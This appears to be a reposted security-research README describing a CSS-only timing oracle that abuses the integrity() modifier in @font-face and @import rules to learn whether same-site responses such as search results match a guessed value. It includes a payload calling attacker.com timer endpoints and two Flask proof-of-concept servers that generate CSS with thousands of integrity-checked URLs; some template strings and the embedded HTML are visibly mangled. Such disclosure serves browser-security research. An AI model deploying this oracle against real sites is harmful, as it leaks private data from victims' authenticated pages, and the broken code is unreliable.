README.md

CSS only oracle on same site http responses using integrity() request modifier

I was checking out the referrer-policy feature and spotted that integrity() has also been added. This feature basically allows you to check the integrity of the response using its hash. It's especially useful for securely including resources from CDNs.

// include style.css from the cdn. Inclusion fails if the response is changed.
@import url('http://cdn/style.css' integrity('sha256-1iHZaZUbIMXPIAjL/CgqLUlt3+dadq/ntrMvFHC4pEk='));

It can also be used on font requests.

@font-face {
	  font-family: a;
	  src: url('http://cdn/font.woff2' integrity('sha256-1iHZaZUbIMXPIAjL/CgqLUlt3+dadq/ntrMvFHC4pEk='));
}

I had previously used font requests to oracle same site responses - strellic's corctf 2023 leaky note.

Basically, we put many url() values in the @font-face src. If the request fails the integrity check, then the request fails immediately and the OTS code is not reached, which leads to a shorter execution time than a request with a successful integrity test.

@font-face {
	  font-family: a;
	  src: url('http://attacker.com/start-timer'),url('/leak-url' integrity('sha256-...')),url('/leak-url' integrity('sha256-...')),url('/leak-url' integrity('sha256-...')),...,url('http://attacker.com/end-timer');
}

This technique allows us to determine whether a response exactly matches a value we already know. For example, we can use it to verify whether /email-search?text=a contains any result or {"status":false}.

One cool thing about this technique is that font responses are not protected by X-Content-Type-Options: nosniff. This technique only works when the attacker’s CSS is included while the document is loading because after the initial loading, a network request is sent for each url(). So you need to trigger the HTML injection before the document is fully loaded or you can use iframes with srcdoc, you probably don't have either of these when you're dealing with DOMPurify.

Since this doesn't work with DOMPurify, I tried using the @import() at-rule. I could see a timing difference between failed and successful integrity matches, but it only works reliably on Linux.

from flask import Flask, Response, jsonify, request, send_file
from pathlib import Path
import hashlib
import time
import base64
app = Flask(__name__)
timestamps = {}
indexHtml = """
<html>
/leak content: secretstuff
 Threshold:
 Search:
 
</div>
</div>
function test(){
let threshold = +threshold_input.value
let searchval = encodeURIComponent(search_input.value)
css.innerHTML = ``
success.innerHTML = 'Waiting...'
failed.innerHTML = ''
setTimeout(async _=>{
success.innerHTML = ''
let r = await fetch('/time?t=result').then(r=>r.json())
if(r.diff > threshold){
success.innerHTML = `Result: Found - Difference: ${parseInt(r.diff)}`
} else {
failed.innerHTML = `Result: Not Found - Difference: ${parseInt(r.diff)}`
}
},3000)
}
</script>
</body>
</html>
"""
cssTemplate = """
@font-face {
font-family: a;
src: url('/time?t=first&$RANDOM )$first_p$,url('/time?t=second&$RANDOM )$second_p$,url('/time?t=third&$RANDOM );
}
#hidden {
font-family: a;
}
"""
urlPayload = """
,url('/leak' integrity('sha256-$SHA256 ))
""".strip()
@app.after_request
def add_cors_header(response):
response.headers["X-Content-Type-Options"] = "nosniff"
response.headers["Cache-Control"] = "no-store"
return response
@app.get("/")
def index():
return indexHtml
@app.get("/time")
def image():
event = request.args.get("t")
if event in {"first", "second", "third"}:
timestamps[event] = time.time_ns() // 1_000_000
return jsonify({event: timestamps[event]})
if event == "result":
if not all(key in timestamps for key in ("first", "second", "third")):
return jsonify({"error": "first, second, and third timestamps are required"}), 400
t1 = timestamps["second"] - timestamps["first"]
t2 = timestamps["third"] - timestamps["second"]
d = abs(((t2-t1)/t2)*100)
return jsonify({
"second-first": t1,
"third-first": t2,
"diff":d
})
return ''
@app.get("/gen-css")
def gencss():
v1 = base64.b64encode(hashlib.sha256(request.args.get("v1").encode()).digest()).decode()
v2 = base64.b64encode(hashlib.sha256(request.args.get("v2").encode()).digest()).decode()
t = cssTemplate
import random
t = t.replace('$RANDOM ,str(random.randint(1,100000)))
t = t.replace('$first_p ,urlPayload.replace('$SHA256 ,v1)*10000)
t = t.replace('$second_p ,urlPayload.replace('$SHA256 ,v2)*10000)
return Response(t, mimetype="text/css")
@app.get("/leak")
def leak():
return 'secretstuff'
if __name__ == "__main__":
app.run()
from flask import Flask, abort, Response, jsonify, request, send_file
from pathlib import Path
import hashlib
import time
import base64
app = Flask(__name__)
timestamps = {}
timestamps2 = {}
indexHtml = """
<html>
/leak content: secretstuff
 Threshold:
 Search:
 
</div>
</div>
function test(){
let threshold = +threshold_input.value
let searchval = encodeURIComponent(search_input.value)
css.innerHTML = ``
success.innerHTML = ''
failed.innerHTML = ''
setTimeout(async _=>{
success.innerHTML = ''
let r = await fetch('/time?t=result').then(r=>r.json())
if(r.diff > threshold){
failed.innerHTML = `Result: Not Found - Difference: ${parseInt(r.diff)}`
} else {
success.innerHTML = `Result: Found - Difference: ${parseInt(r.diff)}`
}
},3000)
}
</script>
a
</body>
</html>
"""
cssTemplate = """
@import url('/time?t=first&$RANDOM );
$first_p$
@import url('data:text/css,%23hidden{background-image:url(/time?t=second&$RANDOM$)}');
"""
urlPayload = """
@import url('/leak' integrity('sha256-$SHA256 ));
"""
@app.after_request
def add_cors_header(response):
response.headers["Cache-Control"] = "no-store"
return response
@app.get("/")
def index():
return indexHtml
@app.get("/time")
def image():
event = request.args.get("t")
if event in {"first", "second", "third"}:
timestamps[event] = time.time_ns() // 1_000_000
return jsonify({event: timestamps[event]})
if event == "result":
if not all(key in timestamps for key in ("first", "second")):
return jsonify({"error": "first, second, and third timestamps are required"}), 400
t1 = timestamps["second"] - timestamps["first"]
return jsonify({
"diff": t1,
})
return ''
@app.get("/gen-css")
def gencss():
v1 = base64.b64encode(hashlib.sha256(request.args.get("v1").encode()).digest()).decode()
t = cssTemplate
import random
t = t.replace('$RANDOM ,str(random.randint(1,100000)))
t = t.replace('$first_p ,urlPayload.replace('$SHA256 ,v1)*10000)
return Response(t, mimetype="text/css")
@app.get("/leak")
def leak():
return 'secretstuff'
if __name__ == "__main__":
app.run()
添加评论
点赞收藏
点踩分享查看原文
评论
?
参与讨论